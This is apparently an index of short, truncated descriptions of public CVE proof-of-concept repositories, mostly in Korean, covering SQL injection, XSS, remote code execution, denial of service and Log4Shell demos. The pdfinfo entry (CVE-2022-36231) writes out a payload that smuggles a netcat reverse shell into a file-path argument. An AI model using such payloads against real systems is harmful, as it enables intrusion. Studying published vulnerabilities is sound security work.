nex-forms_SQL-Injection-CVE-2023-2114

nex-formsSQL-Injection CVE-2023-2114 https://vulners.com/cve/CVE-2023-2114 https://wpscan.com/vulnerability/3d8ab3a5-1bf8-4216-91fa-e89541e5c43d WordPress용 NEX-Forms 플러그인의 SQL-Injection에 대한 간단한 검토 업로드된 익스플로잇 참고로, 이 업로드된 익스플로잇 코드는 이 특정 취약점을 위한 것이 아닙니다... 하지만 이는 이러한 문제에 대한 익스플로잇을 만드는 방법의 예시입니다. 영향을...

CVE-2022-36231

CVE-2022-36231 루비 젬 pdfinfo /dev/null initialize 메서드와 마찬가지로 @pdfpath 변수에는 검증이 수행되지 않습니다. 이를 통해 ;를 사용한 명령 체이닝으로 임의의 명령을 실행할 수 있습니다. info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc 127.0.0.1 4444/tmp/f' pp info.metadata 위 코드 조각은 포트 4444의 127.0.0.1로 리버스 셸을...

CVE-2023-51800

CVE-2023-51800 School Fees Management System v1.0 - Múltiples vulnerabilidades de cross-site scripting XSS Descripción : Múltiples vulnerabilidades de cross-site scripting XSS en School Fees Management System v1.0. Versión del Producto Vulnerable : School Fees Management System v1.0 Autor del CVE...

exploit-CVE-2021-22204

CVE-2021-22204 ExifTool 익스플로잇 - 임의 코드 실행 이 저장소가 마음에 드시나요? ⭐를 눌러주세요! 교육 및 승인된 보안 연구 목적으로만 사용하세요. 익스플로잇 작성자 @UNICORDev 작성 @NicPWNs 및 @Dev-Yeoj 취약점 설명 ExifTool 버전 7.44 이상에서 DjVu 파일 형식의 사용자 데이터가 적절히 무력화되지 않아 악성 이미지를 구문 분석할 때 임의 코드 실행이 가능합니다. 익스플로잇 설명 이 익스플로잇을 사용하여 취약한 ExifTool 버전에서 코드 실행을 위해 사용할 수 있는...

Log4j-Vulnerability

🔓 Log4Shell 취약점 CVE-2021-44228 데모 이 프로젝트는 Apache Log4j 라이브러리에 영향을 미치는 심각한 취약점 Log4Shell CVE-2021-44228을 재현하고 이해하기 위한 통제된 테스트 환경 입니다. 📁 프로젝트 구조 Secutp1/ ├── Dockerfile Construction de l'image Docker ├── pom.xml Dépendances Maven Log4j 2.14.1 vulnérable ├── README.md Ce fichier └── src/ └── main/ └...

CVE-2022-23131

CVE-2022-23131 urls.txt 파일을 생성하고 대상을 urls.txt에 넣으십시오. python CVE-2022-23131.py 취약점이 존재하면 bug.txt가 생성됩니다...

cve-2020-7247

cve-2020-7247 익스플로잇 제목: OpenSMTPD 6.6.2 - 원격 코드 실행. 새 날짜: 2020-01-29. 익스플로잇 작성자: 1F98D. 원본 작성자: Qualys Security Advisory. 공급업체 홈페이지: https://www.opensmtpd.org/. 소프트웨어 링크: https://github.com/OpenSMTPD/OpenSMTPD/releases/tag/6.6.1p1. 버전: OpenSMTPD 6.6.2. 테스트 환경: OpenBSD 6.6, OpenBSD 6.5, OpenBSD 6....

CVE-2022-1015-1016

CVE-2022-1015 & CVE-2022-1026 이 README.md는 David의 블로그의 번역입니다. David는 Linux 커널에서 CVE-1015와 1016을 발견했습니다. 원본 문서를 읽으려면 그의 웹사이트를 방문하세요. 그의 소셜 미디어는 다음과 같습니다: Twitter Github nftables의 두 가지 새로운 Linux 취약점 분석 2022년 4월 2일 게시됨 CVE-2022-1015: 입력 인수 검증 부족으로 인한 out-of-bounds 액세스로, 원격 코드 실행 및 로컬 권한 상승으로 이어질 수...

CVE-2021-46704-POC

CVE-2021-46704-POC CVE-2021-46704 GenieACS コマンドインジェクション POC genieacs パッケージに影響、バージョン =1.2.0 1.2.8 修正方法は？ genieacs をバージョン 1.2.8 以上にアップグレードしてください。 このパッケージの影響を受けるバージョンは、ping ホスト引数 lib/ui/api.ts および lib/ping.ts を介したコマンドインジェクションに対して脆弱です。これは、不十分な入力検証と、欠落した認可チェックが組み合わさったことに起因します。...

CVE-2024-24816

CVE-2024-24816 CKEditor 4 XSS 이 문제는 "preview" 기능에 전달되는 데이터에 대한 살균샌티타이제이션 부족으로 인해 발생했습니다. 이 문제는 CKEditor 4 버전 4.24.0-lts에서 수정되었습니다. 영향을 받는 버전 4.24.0-lts 권고 CKEditor 4를 4.24.0-lts 이상 버전으로 업데이트하세요. 참고 자료 https://ckeditor.com/cke4/release-notes...

CVE-2022-45770

CVE-2022-45770 설명 드라이버 adgnetworkwfpdrv.sys의 부적절한 입력 유효성 검사로 인해 Adguard For Windows x86 버전 7.11까지의 공격자가 로컬 권한 상승을 얻을 수 있습니다. CVSS score 7.8 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 참고 자료 https://cve.report/CVE-2022-45770 https://adguard.com/en/versions/windows/release.htmlversion-71140780...

CVE-2025-46178

CVE-2025-46178 Cross-Site Scripting XSS 취약점이 CloudClassroom PHP 프로젝트의 askquery.php에서 eid 매개변수를 통해 존재합니다. 이는 원격 공격자가 조작된 URL을 전송하여 피해자의 브라우저 세션 내에서 임의의 JavaScript를 주입할 수 있게 하며, 세션 하이재킹 또는 변조로 이어집니다. 추가 정보 페이로드는 alert9734 함수를 사용하여 성공적인 JavaScript 실행을 보여줍니다. 입력이 렌더링 전에 제대로 살균되거나 인코딩되지 않아 애플리케이션이 반사형...

CVE-2024-24549

Apache Tomcat의 서비스 거부DoS 취약점에 대한 개념 증명PoC 이 저장소는 Apache Tomcat의 서비스 거부DoS 취약점을 시연하는 개념 증명PoC 스크립트를 포함합니다. 이 취약점은 HTTP/2 요청의 부적절한 입력 검증으로 인해 발생하며, 잠재적인 DoS 상태를 초래합니다. 취약점 설명 CVE-ID : 보류 중 개요 : Apache Tomcat 버전 11.0.0-M1 11.0.0-M16, 10.1.0-M1 10.1.18, 9.0.0-M1 9.0.85 및 8.5.0 8.5.98은 서비스 거부 공격에 취약합니...

CVE-2025-28074

CVE-2025-28074 제안된 설명 phpList 3.6.3 이전 버전은 lt.php에서 부적절한 입력 삭제sanitization로 인해 크로스 사이트 스크립팅XSS 취약점에 영향을 받습니다. 이 취약점은 애플리케이션이 내부 경로를 동적으로 참조하고 이스케이프 처리 없이 신뢰할 수 없는 입력을 처리할 때 악용 가능하며, 공격자가 악성 JavaScript를 주입할 수 있습니다. 추가 정보 이 취약점은 애플리케이션이 내부 경로를 동적으로 참조할 때만 악용 가능합니다. 공격자가 경로 매개변수 또는 유사한 참조 메커니즘에 영향을 ...

React2Shell

React2Shell CVE-2025-55182 概要 このリポジトリは、CVE-2025-55182（別名 React2Shell 脆弱性）に関する私の研究です。リポジトリは stand と exploit の2つの主要部分で構成されています。 参考情報 このセキュリティ欠陥に関する情報: NIST HackerOne の記事 Vercel による概要 WIZ の記事 作者のWebページ オリジナルのPoC 根本原因 脆弱性の根本原因は基本的にユーザー入力の検証不足です。しかし、そんなに単純ではありません = React Client と React Server は React...

CVE-2023-33405

CVE-2023-33405 BlogEngine.NET CMS 버전 3.3.8.0 및 이전에서 확인된 오픈 리디렉션 취약점 GET 요청이 default.aspx 페이지로 전송될 때 URL에 "years="가 포함되어 있으면, 애플리케이션이 "Redirect"라는 함수를 호출합니다. 이 함수는 year, month, date, page 및 rewrite를 포함한 여러 매개변수를 설정합니다. date 매개변수는 DateTime 객체를 사용하여 파싱되었지만 month와 year 매개변수는 검증되지 않고 rewrite 매개변수를 구성하...

CVE-2021-37787

CVE-2021-37787: ABOCMS TinyMCE 모듈의 SQL 인젝션 취약점 세부 정보 CVE ID : CVE-2021-37787 제품 : ABOCMS 영향을 받는 버전 : 5.8.x, ≤5.9.3 취약점 유형 : SQL 인젝션 CVSS 점수 : 9.8 설명 ABOCMS의 TinyMCE 모듈에 치명적인 SQL 인젝션 취약점이 존재합니다. 이 취약점은 TinyMCE 모듈이 데이터베이스와 상호 작용할 때 입력 검증이 충분하지 않아 발생하며, 공격자가 악의적인 SQL 쿼리를 주입할 수 있게 합니다. 이로 인해 무단 데이터...

Exploitation-de-la-vuln-rabilit-CVE-2015-5254-

CVE-2015-5254 취약점 악용 CVE-2015-5254 취약점은 오픈 소스 메시징 서버인 Apache ActiveMQ의 보안 결함으로, 애플리케이션 간 통신에 널리 사용됩니다. 이 취약점은 ActiveMQ 5.13.0 이하 버전에 영향을 미치며, 전송된 JMS ObjectMessage 입력 데이터에 대한 필터링 부재로 인해 발생합니다. 네트워크 스캔: nmap -p 61616 -Pn -T5 -n -sC -sV 172.17.0.1 다운로드한 폴더에서 docker를 사용하여 actiiveMQ 2015를 실행합니다:...

CVE-2022-34961

OpenTeknik LLC OSSN 오픈소스 소셜 네트워크 v6.3 LTS 취약점 설명: OpenTeknik LLC OSSN 오픈소스 소셜 네트워크 v6.3 LTS는 Users Timeline 모듈을 통해 저장형 크로스 사이트 스크립팅XSS 취약점이 발견되었습니다. 공격 벡터: 공격자는 저장형 XSS를 악용하기 위해 Users Timeline에 게시물을 작성하고 위치 입력란에 XSS 페이로드를 삽입해야 합니다. 제출 직후 XSS 페이로드가 실행됩니다. 영향을 받는 구성 요소:...

CVE-2019-15233

CVE-2019-15233 FAB-2019-00157 제가 발견한 취약점 CVE-2019-15233 권고: 권고 기본 정보 Advisory ID: FAB-2019-00157 Product: Live Input Macros Manufacturer: Old Street Solutions Affected Versions: 2.10 and before Tested Versions: 2.10 Vulnerability Type: Cross-Site Scripting CWE-79 Risk Level: High CVSS v3.0: 7.6...